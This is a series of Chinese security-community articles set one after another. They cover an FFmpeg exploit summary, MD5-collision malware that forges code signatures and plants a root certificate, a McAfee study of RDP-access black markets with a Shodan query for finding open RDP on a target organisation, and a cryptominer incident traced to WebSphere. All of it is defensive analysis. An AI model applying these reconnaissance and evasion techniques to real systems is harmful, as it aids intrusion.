## 5\. 总结
此漏洞主要是由于没有正确定义有无符号数的类型导致覆盖函数指针来控制PC，微软在Windows 10中加入了CFG(Control Flow
Guard)正是来缓解这种类型的攻击，此漏洞已在<https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa>中修复。另外对于静态编译的版本，ROP
gadget较多，相对好利用，对于动态链接的版本，此漏洞在`libavformat.so`中，找到合适的gadget会有一定难度，但并非没有利用的可能。
# 6\. 参考
1. <http://www.openwall.com/lists/oss-security/2017/02/02/1>
2. <https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6>
* * * | 社区文章 |
# MD5碰撞的演化之路
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**2016年1月20日**
**主编 白名单分析组**
**0x1概述**
自从王小云破解MD5算法后,国内外对MD5碰撞的相关研究与恶意利用从未停止。MD5算法的应用领域很多,就软件安全方面来说,陆续发现了一批利用MD5碰撞对抗安全软件的恶意样本。这些样本中,大部分采用早期的一种较为成熟的快速MD5碰撞利用方式,然而有一部分比较特殊,因其采用了新型的碰撞方式。
这种新型的碰撞样本在2014年初开始出现,当时还处于测试阶段,所以只有少数样本在传播。直到2015年初,新型碰撞样本大规模爆发,经过分析和追踪,可以确定采用新型碰撞手法的大批量样本是由同一团伙制做,后续称为碰撞作者。2015年9月,对抗升级,碰撞作者开始结合数字签名利用技术与安全软件对抗。2015年11月,碰撞作者进行新的尝试,利用双签名对抗查杀。下图是该碰撞作者近两年对抗手法的演化的过程:
图1-1 碰撞作者近两年的攻击演化过程
根据上面的演化过程,本文将围绕碰撞作者各阶段的利用手法展开详细的分析。首先,介绍新型MD5碰撞的特点,通过与早期版本的对比来认识新型碰撞手法的“先进性”。接着,进一步介绍新型MD5碰撞与数字签名结合的高级利用手法,以及碰撞作者放弃碰撞方法而采用双签名进行对抗的新尝试。然后,通过一例样本的行为分析介绍碰撞作者的典型攻击流程。最后,对碰撞作者的恶意软件传播和影响进行统计与信息挖掘。
**0x2新型碰撞特点**
早期的碰撞样本,主要采用“前缀构造法”,以同一个给定的前缀程序A为基础,在尾部添加不同的附加数据,得到两个具有相同MD5的样本B和C,如下图所示:
图2-1 早期MD5碰撞的利用手法
前缀构造法碰撞后的两个样本只有尾部少量字节不同,而程序代码是相同的。通过判断尾部数据的差异,两个样本可以执行不同的程序流程。由于这种碰撞手法是通过同一前缀程序碰撞生成的两个样本,如果其中有恶意代码流程则两个样本均包含恶意代码,所以比较容易被安全软件识别,隐蔽性较差。
而采用新型的MD5碰撞手法,得到两个MD5校验值相同的样本,一个是恶意程序,另一个则是正常程序,它们在功能和代码上完全不同。由两个不同的前缀程序A和B分别在尾部添加附加数据,构造出具有相同MD5的程序C和D,如下图所示:
图2-2 新型MD5碰撞的利用手法
这一阶段,碰撞作者主要是通过正常程序与恶意程序两种不同程序碰撞相同的MD5来对抗安全软件。比如这样一组样本,正常程序是一个dll程序,恶意程序则是一个加了vmp强壳的流氓日历exe程序:
图2-3 一组新型碰撞样本的静态特征
而这两款毫不相关的程序MD5值校验却神奇的一致:
图2-4 一组新型碰撞样本的MD5计算结果
通过图2-3和图2-4,证实了两种不同格式的程序,其文件MD5是可以相同的。然而这种现象并非偶然,而是碰撞作者能够大批量制造的真实案例。为了深究其技术手法,仔细比较一下这两个文件的数据如下:
图2-5 一组新型碰撞样本的文件数据比较
从图中可以看出,两个文件绝大部分数据不同,但尾部数据高度相似,而且文件大小一致,这种构造方式是基于“选择前缀碰撞法”(Chosen-prefix
collsion[[1]])实现的,其原理图大致如下:
图2-6 “选择前缀碰撞法”原理
通过选择不同的前缀,计算生日数和碰撞块添加到文件尾部,即可得到两个具有相同的MD5的文件。不过,要计算出这些尾部数据并不容易,直接使用hashclash[[2]]的工具需要相当大的时间成本,但是碰撞作者对该工具进行改进后已经能够高效完成大量正常程序与恶意程序的碰撞了,以下为此阶段样本的典型样例(每组正常程序与恶意程序对照),由于碰撞的原理与文件格式无关,所以样本形态呈现了多样化的特点。
图2-7 此阶段碰撞样本的典型样例
其中,碰撞的样本对中,恶意程序主要为桌面软件的组件[[3]],而正常程序则是任意的软件。由于每组样本都对应同一个MD5指纹,碰撞作者便借此来对抗安全软件对其恶意程序的查杀。
**0x3签名利用**
数字签名具有校验程序是否被非法篡改的功能,针对签名的攻击形式多样,比如Flame病毒曾利用哈希碰撞伪造微软的数字证书[[4]]。一般情况下在带签名的程序后面任意添加数据,签名会显示无效。在前一阶段被使用的前缀程序都没有数字签名,但九月初,我们捕获到了MD5碰撞样本的新版本,碰撞作者巧妙的使碰撞后的样本延用了前缀程序的有效签名。
图3-1 加入签名利用的MD5碰撞手法
这阶段碰撞样本的显著特点是,前缀程序中的正常程序大部分是带有签名的msi程序,在其尾部添加了碰撞数据后签名却还是有效的,这主要是利用了msi程序的特性——对任意带签名的msi程序,在其尾部可以任意添加修改附加数据而不影响签名的有效性,如下图所示。于是,MD5碰撞多了数字签名这个保护伞,大大提高了与安全软件的对抗强度。
图3-2 MD5碰撞对中的带签名msi程序添加附加数据后签名仍有效
以下是被利用的msi程序的部分签名列表:
Adobe Systems, Incorporated
Amazon Services LLC
Apple Inc.
IObit Information Technology
March Hare Software Ltd
Microsoft Corporation
Mozilla Corporation
Realtek Semiconductor Corp
TAOBAO (CHINA) SOFTWARE CO.,LTD.
Tencent Technology(Shenzhen) Company Limited
---
图3-3 部分被利用的msi程序的签名列表
比较特别的是,在此阶段后期发现了一对特殊的碰撞样本,分别是具有有效微软签名的msi程序和腾讯签名的exe程序(如下图)。可见,除了带签名的msi程序外,该碰撞作者也实现了对带签名PE程序的碰撞。
图3-4 两个程序都带数字签名的碰撞样本
对比一下碰撞后的腾讯exe文件和原始程序:
图3-5 带签名PE程序碰撞后的文件与原始文件的对比
可以看出,碰撞作者对PE文件结构的Security数据目录进行了修改,说明其改变了签名信息的大小,扩充了尾部签名串的数据长度,并且修改了对应的签名数据以保证签名的有效性,从而达到和msi程序的签名“漏洞”一样的效果。
**0x4双签名验证**
2015年11月初,发现了碰撞作者的新动向,他给一个程序构造两种不同的数字签名。如图,这个恶意样本在未打补丁的win7系统只看到一个无效的签名,而在更新过补丁[[5]]的win7系统中却显示了两个不同的数字签名,第一个签名仍是无效签名,而第二个则是正常的签名。
图4-1 双签名样本在不同的系统环境中的签名显示
碰撞作者这是有意识的利用双签名对抗安全软件的签名验证,因为那些在旧系统中运行正常的签名验证程序,在升级到支持双签名后的系统中可能会爆发出严重的验证逻辑漏洞。
为了说明这个手法,用两个小工具[[6]],分别在旧系统和支持双签名的系统中进行签名校验。
图4-2 在未打补丁的win7系统中对双签名样本进行校验
上图是在未打补丁的win7系统中对样本进行签名校验的结果,第一步验证签名有效性时就出错,即使第二步获取的签名串真实存在,签名验证的结果也是失败。而如果是在更新了补丁的Win7系统下使用同一套工具对同一个样本进行签名校验:
图4-3 在更新过补丁的win7系统中对双签名样本进行校验
如图,第一步验证签名完整性时显示签名正常,第二步获取签名信息的时候只获取了第一个签名串的信息,从而这个原本无效的伪造签名可能会被认为是有效的。之所以这样是因为,旧系统中不支持双签名,编写签名验证程序时一般就默认一个程序只有一个数字签名。
同样,如果安全软件在系统升级后没有考虑到双签名验证的情况,很有可能按照类似“正常”的逻辑判定这个恶意样本伪造的签名有效。可见,碰撞作者是想钻双签名验证这个空子来绕过签名验证。
**0x5典型攻击流程分析**
下面以2015年12月的样本为例分析恶意程序的攻击流程。
首先查看样本的数字签名,发现具有一个伪造的无效签名,但是当程序运行触发恶意行为之后,签名的状态却神奇般地变成有效的:
图5-1 安装样本运行前后数字签名的状态对比
为了找出这种现象的原因,具体分析该样本的代码。此样本是经过NSIS打包的安装程序,解包得到脚本和其他资源文件。分析安装脚本,该恶意程序首先对运行环境进行检测:
图5-2 安装脚本对运行环境进行检测
通过系统调用遍历进程,检测的部分进程列表如下图所示,其中大部分是网吧或分析调试的系统环境,猜测是为了控制样本传播的范围:
图5-3 安装程序检测的部分进程列表
然后程序会判断自身的文件名是否为“s*.exe”,并且检测启动该程序的父进程是否为桌面进程,目的是避免下载该程序的用户直接点击运行触发恶意行为引起注意,而只让该程序作为被其他程序推广启动时才触发:
图5-4 安装程序判断程序文件名与父进程
当文件名判断不通过时,程序作为桌面日历安装包运行,不触发恶意行为。
图5-5 安装程序不触发恶意行为的运行界面
当符合所有触发条件时,就可以触发恶意行为:安装程序会静默下载碰撞作者服务器上的加密压缩文件update003.zip,使用特殊密码解压后执行其中的gpmc.msi程序,最后又清理了作案现场。恶意行为的主要程序代码如下图所示:
图5-6 安装程序的主要恶意代码
从update003.zip解密得到的两个文件gpmc1.msi和gpmc1.cab,gpmc1.msi程序负责解压gpmc1.cab文件并调用其中的正常编译工具NMAKE.exe,gpmc1.cab文件解压如下:
图5-7 gpmc1.cab压缩包内文件列表
NMAKE.exe被运行后,makefile文件中的命令就会执行,通过这种特殊的方式实现由正常的程序连续调用外部的恶意程序:
图5-8 makefile文件的调用命令
这里关注u.exe这个程序,它其实是微软官方的根证书列表更新工具updroots:
图5-9 数字签名根证书数据导入工具
利用该工具导入事先伪造好的一份CA根证书数据文件u,结果会在系统注册表的根证书路径添加一个信任项,并导入伪造的CA证书公钥等相关数据:
图5-10 用户系统被导入的根证书数据路径
恶意程序通过这样的方式在系统种下了一颗种子,这颗种子将导致共用这一个CA认证的伪造签名被验证为信任状态,如果不清除该数据项,被感染的系统将从此对碰撞作者所有具有伪造签名的程序信任。
就本例样本来说,在后面会被调用的日历主程序DesktopGoodCalendar.exe的签名也变为有效的:
图5-11 主程序的另一个数字签名前后状态对比
DesktopGoodCalendar.exe是个加了强壳的delphi程序,运行之后仍先检测运行环境,通过临时目录下的两个文件日志判断安装程序的文件名和父进程:
图5-12 主程序的通过两个文件内容判断运行环境
当恶意条件满足,先把用户机器的信息回传服务器:
图5-13 回传用户机器的信息
接着依次从不同的url下载几张画面相同的图片:
图5-14 碰撞作者使用的加密图片
每次下载一张如上的图片,都会使用同一个算法解密其中的附加数据,并使用解密数据进行下一步操作,大致的操作过程如下:
1、解密“http://www.ci***k.com/images/if.jpg”得到一个进程列表进行分析环境检测:
图5-15 第一张图片解密后的内容
2、解密“http://www.ci***k.com/images/before*.jpg”得到下一张图片下载地址:
图5-16 第二张图片解密后的内容
3、根据上一步得到的下载地址解密其图片得到一个恶意的PE程序,如下为解密得到PE程序的示意图,以及分别从两例地址的图片解密得到的程序图标:
图5-17 第三张图片解密后的得到恶意程序2例
经过上述的下载、解密,最后将得到的PE程序注入一个svchost的傀儡进程中并启动:
图5-18 主程序将恶意程序注入傀儡进程的过程跟踪
由此,新的一个恶意程序悄然在系统进程中运行起来,后续的动作也全凭碰撞作者布局控制,可以方便、隐蔽地进行各种流氓活动。历史上曾从受害用户现场发现过其会劫持浏览器主页,使之跳转到带有商业推广渠道标识的某导航网站,从而为碰撞作者达到盈利的目的。
以下为整体攻击行为的流程图:
图5-19 整体攻击流程图
**0x6传播及影响**
新型MD5碰撞样本在2015年初开始大规模传播,经过统计发现,仅2015年受该类恶意软件影响的用户数量就达到5584939个,下图为在全国各地区受影响的用户分布,主要集中在人口密集地区,其中广东省是重灾区,传播量达到60多万。
图6-1 2015年全国各地区受影响的用户数量分布图
从传播时间来看,该类恶意软件以5月份传播量最高,达到130万左右的量级,如下图所示。
图6-2 2015年各月份受影响用户量
通过对该类恶意软件的种类和来源进一步梳理,发现碰撞作者的主营软件是以天气、日历类软件的形式,通过各种渠道在网络中传播,其业务链及主要传播途径如下所示:
图6-3 碰撞作者的主要业务软件及传播途径
1、借助流氓软件推广渠道进行传播。经统计,视频聊天、下载器、外挂辅助和影音播放器等类型的软件都推广过碰撞作者的恶意软件。它们在推广时,会主动连接碰撞作者的服务器下载最新的恶意程序到用户电脑进行安装,整理2015年碰撞作者使用的主要传播服务器如下:
图6-4 碰撞作者2015年使用的主要传播服务器
2、上传到正规软件下载站提供给用户搜索和下载。以下为在某下载站发现的碰撞样本:
图6-5 下载站传播
3、伪装成热门资料分享到网盘中诱导用户主动下载安装。恶意软件用炒股技巧、考研英语等诱惑性的文件名打包,如下图所示:
图6-6 网盘分享传播
4、官网和其他渠道传播。2015年9月份碰撞作者软件官网截图如下:
图6-7 恶意软件官网传播
通过以上各种传播渠道,碰撞作者的恶意软件最终到达用户电脑潜伏下来,每次用户电脑启动也跟着运行,并伺机进行主页劫持等推广行为进行盈利,即使一些用户想要将之完全卸载也很难,给广大普通用户造成了无尽的烦恼。网上搜索相关的恶意软件名称,会发现很多普通用户的反馈,如下图:
图6-8 用户在网上反馈的声音
从上述的恶意软件演化、传播过程可以看出,碰撞作者费尽心思提高对抗技术、扩展传播渠道,其目的只有一个:金钱至上。虽然碰撞作者为了自己的私利,不顾广大群众的用户体验而利用互联网来污染用户的电脑,但是好在用户的身后还有一批与之不懈对抗的安全软件来保驾护航,以下为360安全卫士对此类碰撞恶意软件进行拦截查杀的截图。在这场没有硝烟的战争中,对抗还将继续,感谢广大用户一直以来对360的支持。
图6-9 360安全卫士对新型碰撞类恶意软件的拦截查杀
* * *
[[1]] 早在2007年就由Marc Stevens提出并实现了该方法的MD5碰撞。
[[2]] 开源的hash碰撞工具,具体可参见project hash clash的开源代码:https://marc-stevens.nl/p/hashclash/
[[3]]下文将介绍到碰撞作者主营软件为桌面天气、日历类软件,其组件包括安装包、主程序和动态连接库等
[[4]] Freebuf曾对此做过报导,参见http://www.freebuf.com/news/3482.html
[[5]] 详见微软对多签名支持的安全公告:https://technet.microsoft.com/zh-cn/library/security/3033929.aspx
[[6]] 签名校验相关的开源代码编译的小工具,一个为校验签名的有效性,另一个则是提取签名字符串 | 社区文章 |
# 对暗网黑市廉价RDP销售商店的调查
|
##### 译文声明
本文是翻译文章，文章原作者 John Fokker，文章来源：securingtomorrow.mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/organizations-leave-backdoors-open-to-cheap-remote-desktop-protocol-attacks/>
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
在研究地下黑客市场时，McAfee高级威胁研究小组发现一个与大型国际机场的安全和楼宇自动化系统有关的权限仅需10美元。
黑暗网络无所不含，人们可以从RDP商店购买权限登录到被黑客攻陷的机器上，甚至可以从那里购买登录到某些能够导致整个城市瘫痪的计算机系统的权限。
RDP是微软开发的一种专有协议，它允许用户通过图形界面访问另一台计算机，是系统管理员的一个强大工具。如果被错误的人利用，RDP可能会产生毁灭性的影响。最近针对几个美国机构的SamSam勒索软件攻击显示了RDP访问如何作为一个入口，攻击一个高价值的网络就像转入地下并进行简单的购买一样简单和廉价。像SamSam这样的网络罪犯只需花费最初的10美元就可以进行，并收取4万美元的解密赎金，这并不是一个糟糕的投资回报。
[](https://p2.ssl.qhimg.com/t0169c481cee7db6570.png
"最受欢迎的RDP商店之一Blackpass.bz的截图，很大程度上是由于所提供的各种服务。")
## 店铺解释
2013年，安全专家BrianKrebs撰写了这篇文章“非常愚蠢的密码（Really Dumb
Passwords）”。这个简短的短语封装了RDP系统的漏洞。攻击者只需扫描互联网上接受RDP连接的系统，然后使用流行的工具(如Hydra、NLBrute或RDP
Forcer)发起暴力攻击来获得访问权限。这些工具将密码字典与在最近的大型数据泄漏中被窃取的大量凭据结合在一起。五年后，RDP商店变得更大，更容易进入。
McAfee高级威胁研究小组考察了几家RDP商店，规模从15到40，000多个RDP权限，在Ultimate Anonymity
Service(UAS/终极匿名服务)出售。UAS是一家俄罗斯公司，也是我们研究的最大的活跃商店。我们还查看了通过论坛搜索和聊天找到的小商店。在我们的研究过程中，我们注意到大商店的大小每天都在变化，大约有10%。我们研究的目标不是建立一个RDP商店的最终清单；相反，我们寻求更好地了解一般的操作方式、提供的产品和潜在的受害者。
[](https://p4.ssl.qhimg.com/t014233840bb1ff05e3.png)
几家RDP商店声称可供出售的受害系统的数量。单个受害系统可能出现在多个商店的列表中。
## 网络犯罪分子的RDP权限
网络罪犯如何滥用RDP权限？RDP被设计成一种访问网络的有效方式。通过利用RDP，攻击者无需创建复杂的网络钓鱼活动、恶意软件混淆、使用漏洞工具或担心防御软件，一旦攻击者获得访问权限，他们就在系统中。在搜寻地下罪犯时，我们发现了RDP商店推广的被黑的RDP机器的主要用途。
假旗：通过RDP权限创建错误向导是最常见的应用之一。在保持匿名的同时，攻击者可以让人觉得他的非法活动来自受害者的机器，实际上是为调查人员和安全研究人员插了一面假旗。攻击者可以通过在受害者的机器上编译恶意代码、故意创建错误调试路径和更改编译器环境跟踪来植入此标志。
垃圾邮件：就像垃圾邮件制造者使用巨大的僵尸网络(如NecrusandKelihos)一样，RDP访问在垃圾邮件发送者的子集中很受欢迎。我们发现出售的一些系统在群发邮件活动中得到了积极的推广，几乎所有的商店都提供免费的黑名单检查，看看这些系统是否被Spamhaus和其他反垃圾邮件组织标记过。
帐户滥用、凭证收集和勒索软件：通过RDP访问系统，攻击者可以获得系统上存储的几乎所有数据。这些数据可用于身份盗窃、帐户接管、信用卡欺诈和敲诈等。
数字货币：在McAfee实验室的最新威胁报告中，我们写道，由于数字货币的市场价值不断上升，非法的数字货币开采活动有所增加。我们发现几个犯罪论坛积极宣传利用RDP在受害机器上挖Monero币。
[](https://p2.ssl.qhimg.com/t018f3e018c2a65c0a5.png
"一个网络犯罪论坛上发布了通过RDP进行挖矿的广告")
## RDP商店概述
销售系统：广告系统从Windows XP到Windows 10不等。Windows 2008和2012
Server是使用最多的系统，分别有大约11，000和6，500个系统出售。价格从简单配置的3美元到提供管理员权限访问的高带宽系统的19美元不等。
第三方转售商：当比较几家RDP商店的“库存”时，我们发现相同的RDP机器在不同的商店出售，这表明这些商店充当了转售商的角色。
Windows嵌入式标准：现在称为Windows
IOT，广泛应用于需要占用较少内存的各种系统中。这些系统可以应用于酒店瘦客户端，告示板，销售点(POS)系统，甚至停车收费表等等。
在提供的数以千计的RDP权限中，有些配置特别突出。我们在UASShop和BlackPass上发现了数百台配置相同的Windows嵌入式标准机器，所有这些机器都在荷兰。这种配置配备了1-GHz
VIA Eden处理器。对这种配置的开放源码搜索显示，它最常用于瘦客户机和一些POS系统中。这些组合与荷兰的几个城市、住房协会和保健机构有关。
瘦客户端和POS系统常常被忽略，因为不经常更新，它们容易成为攻击者理想的后门目标。尽管这些系统的物理足迹很小，但不应低估这种系统受损的业务影响。正如我们从以前零售商利用未修补或易受攻击的POS系统的违规行为中所观察到的那样，损害远远超出了财务上的范围，包括客户的感知和长期的品牌声誉。关于我们发现的当前受影响的系统，McAfee已经通知了已确认的受害者，并正在努力进一步了解这些相同的Windows系统被破坏的原因和方式。
政府和卫生保健机构：我们还看到世界各地正在销售多种政府系统，包括那些与美国有关的系统，以及从医院和疗养院到医疗设备供应商的几十个与保健机构有关的联系。在3月的一篇博文中，高级威胁研究小组展示了不安全的医疗数据可能带来的后果，以及攻击者进入医疗系统后可能发生的情况。
## 其他待售产品
[](https://p1.ssl.qhimg.com/t018621a955286a57e5.png "我们研究过的RDP商店提供的服务")
除了出售RDP，这些商店中的一些还提供活跃的社会保险号码、信用卡数据和网上商店登录信息的交易。我们研究的第二大RDP商店，BlackPass，提供了最广泛的产品。这些经纪人中最多产者提供一站式访问所有用于欺诈的工具：rdp访问权限、社会安全号码和其他建立贷款或开立银行账户的综合数据。
由于法律和道德原因，我们没有购买任何提供的产品。因此，我们不知道服务的质量。
## RDP 勒索软件攻击方案
是否有可能使用RDP商店找到一个高价值受害者？高级威胁研究小组对这一理论进行了检验。通过利用RDP商店提供的大量权限，我们能够快速识别符合美国高价值目标形象的受害者。
我们在UASShop上发现了一台新发布的(4月16日)Windows Server 2008
R2标准机器。根据商店的描述，它属于美国的一个城市，只要花10美元，我们就可以获得这个系统的管理员权限。
[](https://p0.ssl.qhimg.com/t01086d4bfeff219ca5.png "RDP权限出售")
UASShop隐藏了它提供销售的系统的IP地址中的最后两个八位数，并对完整地址收取少量费用。(我们没有为UAS或任何其他商店提供的任何服务付费。)为了定位正在出售的系统，我们通过Shodan.io使用以下查询在特定组织中搜索任何打开的RDP端口：
org:”City XXX” port:”3389”
结果比我们预期的要令人震惊得多。Shodan搜索将65，536个可能的IP缩小到三个与我们的查询相匹配的IP。通过获得完整的IP地址，我们现在可以查找WHOIS信息，其中显示所有地址都属于一个主要的国际机场。这绝对不是你想在俄罗斯地下RDP商店里发现的东西，但事情变得更糟了。
[](https://p2.ssl.qhimg.com/t01cbeeb42d131846cf.png)
## 问题更严重了
其中两个IP地址显示了可访问登录屏幕的截图。
[](https://p5.ssl.qhimg.com/t010bada2b10657b23a.png "与RDP商店提供的配置相匹配的登录屏幕")
仔细看一下屏幕截图，就会发现Windows配置(前一个屏幕)与RDP商店提供的系统完全相同。此系统上有三个可用的用户帐户，其中之一是管理员帐户。其他账户的名字一开始似乎并不重要，但经过几次开源搜索后，我们发现这些账户与两家专门从事机场安全的公司有关联，一家是安全和楼宇自动化公司，另一家是摄像头监控和视频分析公司。我们没有探索这些帐户的全部访问级别，但是这可以提供一个很大的立足点和通过使用如MimiKatz等工具实现网络横向移动。
[](https://p4.ssl.qhimg.com/t01632c20fe5781bb5a.png "同一网络上第二个系统的登录屏幕")
看看其他登录帐户(前面的屏幕)，我们看到它是一个非常具体的缩写域名的一部分。我们在另一个登录帐户上进行了类似的搜索，发现这个域名很可能与机场的自动传输系统(连接终端的客运系统)相关。一个具有如此重大公共影响的系统可以从因特网上公开访问，这是很恐怖的事情。
现在我们知道，像Samsam集团这种攻击者，确实可以使用RDP商店来获得访问一个潜在的高价值的勒索软件的受害者。我们发现，进入一个与大型国际机场相关的系统只需10美元，没有0day攻击、精心设计的网络钓鱼活动，也没有水坑攻击。
## 匿名化
为了公布我们的调查结果，我们对数据进行了匿名处理，以防止敏感的安全信息被泄露。
## 基本的解释和安全建议
除了出售无数的访问权限外，RDP商店还提供了一些提示，说明当攻击者希望使用刚购买的RDP访问权限时，如何不被发现。
[](https://p5.ssl.qhimg.com/t0190f7e5ffbf11b669.png
"UASShop的FAQ部分中的这个屏幕解释了如何添加几个注册表项来隐藏用户帐户")
UASShop提供一个带有补丁程序的zip文件，允许多用户RDP访问，尽管在某些Windows版本中默认情况下是禁用的。zip文件包含两个更改Windows注册表的.reg文件和一个更改termsvrl.dll以允许并发远程桌面连接的修补程序文件。
对注册表和文件的这些更改会在系统上留下明显的痕迹。这些指标有助于调查滥用RDP访问的情况。
除了检查这些标志之外，最好检查Windows事件和安全日志，以查看异常登录类型和RDP使用情况。下图解释了在哪里可以找到日志：
[](https://p1.ssl.qhimg.com/t01c59e81b709e610be.png "资料来源：无国界医生组织2015年海报")
## RDP基本安全措施
外部访问网络可能是必要的，但它总是伴随着风险。我们总结了一些基本的RDP安全措施：
* 使用复杂的密码和双因素身份验证将使暴力的rdp攻击更难成功。
* 不允许在打开的Internet上进行RDP连接
* 锁定用户，阻止或超时IP有太多失败的登录尝试
* 定期检查事件日志是否有不寻常的登录尝试
* 考虑使用不透露组织信息的帐户命名约定。
* 枚举网络上的所有系统，并列出它们是如何连接的以及通过哪些协议。这也适用于物联网和POS系统。
## 结论
远程访问系统对于系统管理员执行其职责至关重要。然而，他们必须花时间以一种安全且不易被利用的方式建立远程访问。RPD商店正在储存易受攻击机器的地址，并将黑客选择受害者的工作减少到简单的在线购买。
政府和组织每年花费数十亿美元来保护我们信任的计算机系统。但是，即使是最先进的解决方案也不能保证绝对的安全，后门是开放的，或只携带一个简单的挂锁。就像我们离开家时检查门窗一样，组织必须定期检查哪些服务可以从外部访问，以及这些服务是如何安全的。保护系统需要一个综合的深度防御方法和每一个员工积极的态度。
审核人：yiwang 编辑：边边 | 社区文章 |
# 分享一个最近的一次应急溯源
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：天启@涂鸦智能安全实验室
## 0x01前言
某日接到一哥们的求助电话,大概意思就是他的客户中了病毒,现在客户很慌,他也很慌!想求助我协助看能不能溯源分析一下黑客的攻击路径!我想中午也没事干就帮他溯源分析一波吧!首先问了他一下信息以方便进一步排查,同时也提前准备好相应的工具!由于他们不是专门搞安全的,所以更细节的东西他们是不会注意的!如果想快速溯源分析最好的办法还是需要去中毒的机器上亲自看!同时还有一个比较重要的事情就是稳定好受害者的情绪和保护好现场!尽可能在我们溯源前保持原状!这样可以让我们快速定位问题然后找出对应的解决办法
但是我这次遇到的就不是很幸运了,因为事情出的比较紧急,客户慌的一批直接将异常的文件以及所有异常的信息都删除了,这给溯源造成了一定的困扰,但是也没有办法只能硬着头皮上了!
## 0x02开始溯源分析
开始之前先说一下目前机器中毒常见的两种状况1:中了勒索病毒,所有重要的文件全被加密了,然后留下勒索者联系方式以及付款方式2:中了挖矿病毒,CPU占用异常高,机器非常卡顿!如果中了第一种病毒就比较悲催了,因为单纯从技术角度来讲,基本不太可能对加密的文件进行解密!可能会有同学问为什么呢?举个简单例子,勒索病毒用的加密算法本质上是和支付宝,微信支付用的加密算法是差不多的!目前微信支付宝是安全的就是依赖加密算法的安全不可破解!我们平时也几乎没怎么听说黑客攻击解密支付宝和微信支付,那说明这些加密算法还是非常安全的!换句话讲解密勒索病毒加密的文件的难度可能是与破解支付宝和微信支付的难度是不相上下的!既然这么难破解,那我们为什么平时还能看到某些厂商提供解密勒索病毒的工具或者平台呢?答案很简单,他们搜集到解密的密钥!遇到第二种情况,稍微比第一种好一点点,只要找到异常的进程干掉然后相关定时任务清除掉基本就可以了!
根据上面的总结以及我们目前获取到信息基本可以确定这次机器中毒应该是中了挖矿病毒!因为特点非常明显,CPU占用非常高!而且根据截图信息我们还能大概描绘一下该挖矿病毒的攻击路径:python3脚本->javav.exe->开始挖矿!当然这一切都是根据我们目前能掌握的信息进行的合理推测!至于真实的攻击路径是什么样子的还是需要我们直接上机进行排查!
等到中午的时候我打开了”向日葵”连上了受害机器!当我上到真实机器上的时候,我在想如果我是这个黑客,我应该怎么入侵这台机器并且放上挖矿的脚本?映入我脑海的第一个想法就是利用该机器上能利用的漏洞入侵这台机器!首先我捋了一下系统信息:Windows
sever 2012
R2,本身就是一台简单的服务器并无其他功能,且本身并无直接可利用的系统漏铜.挖矿的黑客一般在互联网上找”矿机”一定是快准狠的,不大可能会大费周折!既然系统层面没有直接可利用的漏洞,那基本可以排除黑客是利用Windows
server 2012 R2系统本身漏洞入侵的可能了!
既然黑客不是利用系统漏洞进行入侵,那接下来的排查重点就是搭载在系统上的应用是否存在漏洞了!不查不知道,一查吓一跳,这上面的应用真是惊到我了!我™直呼内行!我们先上一张图看看这台机器上都装了什么应用吧!
,随便瞄了一眼看到了几个感觉存在漏洞的服务,WebSphere,yongyou,activeMQ等等,我先对activeMQ进行溯源分析,因为这个服务如果存在漏洞的话是最容易拿shell,检查时发现该版本果然存在漏洞,但是在日志以及文件夹中并没有发现入侵的痕迹,既然没有看到相关的入侵痕迹!那就直接对下一个目标服务进行溯源吧!
WebSphere就很离谱了,直接暴露在公网,而且版本是8.5.0.1,该版本直接输入用户名不用输密码即可进入管理后台,这种应用黑客见了可能都会起疑,这不会是蜜罐吧?可是这个确实是真实的生产系统并且开放在互联网上
我直接进入了WebSphere的运行文件夹下面,看到了辣眼睛的两个文件a.bat和c.exe,想必根据链接中的bat文件名基本也能猜出这两个文件是干啥的了吧!为了进一步确认,我下载了连接中的bat文件进行了简单分析,发现其实就是一个挖矿bat文件,至于开头我们看到占用大量CPU的进程javav.exe为什么会调用python呢?为了证实我的疑问我让c.exe在我的虚拟机上运行了一下,发现他果然调用了python3,至此攻击链溯源分析清楚了:黑客通过WebSphere入侵了该机器,然后下载了挖矿脚本进行挖矿!
我愉快地将这个结果告诉我的那个小伙伴,同时建议他告诉一下客户,这台机器上的应用都是古董级别的了,堪比靶场,要立马全部检查升级一下,不然后面这种入侵事件还是会有的!
## 0x03简单总结一下
学而不思则罔,虽然这次挖矿溯源分析成功了,但是总结一下还是非常有必要的!当然都是个人经验!没有接触溯源分析的小伙伴也可以适当参考一下!以防下次遇到溯源分析的时候手忙脚乱:
提前将所有在溯源过程中可能遇到的工具准备好,最好是免安装版!
记得要安抚好客户情绪,对受害机器做断网处理,尽量不要破坏被入侵的机器!
根据目前能掌握的情况,判断入侵的机器可能中的是哪种类型的病毒!是勒索病毒或者是挖矿病毒!
上机排查的时候可以大概分两个方向排查,系统本身是否存在漏洞,安装在系统上的应用是否存在漏洞!
## 0x04后记
笔者能力有限,写的文章不可避免有纰漏,忘各位大佬海涵!当然可以加我微信交流哦:5ed0c42e63c9c2145990351ccaec4da5(可解密哦……)
漏洞悬赏计划：涂鸦智能安全响应中心（[https://src.tuya.com）](https://src.tuya.com%EF%BC%89)
欢迎白帽子来探索。
招聘内推计划：涵盖安全开发、安全测试、代码审计、安全合规等所有方面的岗位，简历投递sec#tuya.com，请注明来源。 | 社区文章 |
# 【技术分享】软件安全构建成熟度模型演变与分析
|
##### 译文声明
本文是翻译文章，文章来源：weixin.qq.com
原文地址：<https://mp.weixin.qq.com/s/CzMU6m9zruvsaIoxvt5xgA>
译文仅供参考，具体内容表达以及含义原文为准。
**作者** **：**[
**章磊@360代码卫士**](http://bobao.360.cn/member/contribute?uid=2873043487)
**前言**
软件安全开发主要是从生命周期的角度，对安全设计原则、安全开发方法、最佳实践和安全专家经验等进行总结，通过采取各种安全活动来保证尽可能得到安全的软件。但是，能否将安全开发的概念整合到企业原有的开发过程中，通常取决于企业规模、资源（时间、人才和预算），以及管理层支持等各种因素。如果方式不当，很可能造成高昂的成本甚至整合失败。
建立软件安全构建成熟度模型能够帮助企业理解安全开发举措的关键要素，根据开发团队的成熟度水平确定各种安全举措的优先级，从而控制上述因素的影响。
